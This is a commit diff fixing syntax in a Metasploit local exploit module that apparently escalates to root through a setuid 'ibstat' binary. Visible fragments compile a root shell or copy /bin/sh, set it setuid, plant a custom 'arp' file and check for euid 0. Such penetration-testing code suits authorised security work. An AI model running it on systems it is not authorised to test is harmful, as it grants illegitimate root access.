Fix more bugs and more syntax errors
parent
becefde52f
commit
8611526a01
|
@ -54,7 +54,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
|
||||
def check
|
||||
find_output = cmd_exec "find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null"
|
||||
if find_output.include? ("ibstat")
|
||||
if find_output.include? "ibstat"
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
Exploit::CheckCode::Safe
|
||||
|
@ -92,10 +92,10 @@ chmod 4555 #{root_file}
|
|||
cmd_exec "gcc -o #{root_file} #{root_file}.c"
|
||||
print_status("Compilation completed")
|
||||
register_file_for_cleanup("#{root_file}.c")
|
||||
register_file_for_cleanup("#{root_file}")
|
||||
else
|
||||
cmd_exec "cp /bin/sh #{root_file}"
|
||||
end
|
||||
register_file_for_cleanup("#{root_file}")
|
||||
print_status("Writing custom arp file...")
|
||||
write_file("#{arp_file}",arp)
|
||||
register_file_for_cleanup("#{arp_file}")
|
||||
|
@ -123,7 +123,7 @@ chmod 4555 #{root_file}
|
|||
def gcc_installed?
|
||||
print_status("Checking if gcc exists...")
|
||||
gcc_whereis_output = cmd_exec "whereis -b gcc"
|
||||
if gcc_whereis_output.include? ("/")
|
||||
if gcc_whereis_output.include? "/"
|
||||
print_good("gcc found!")
|
||||
return true
|
||||
end
|
||||
|
@ -133,11 +133,11 @@ chmod 4555 #{root_file}
|
|||
|
||||
def is_root?
|
||||
id_output = cmd_exec "id"
|
||||
if id_output.include? ("euid=0(root)")
|
||||
if id_output.include? "euid=0(root)"
|
||||
print_good("Got root! (euid)")
|
||||
return true
|
||||
end
|
||||
if id_output.include?("uid=0(root)")
|
||||
if id_output.include? "uid=0(root)"
|
||||
print_good("Got root!")
|
||||
return true
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue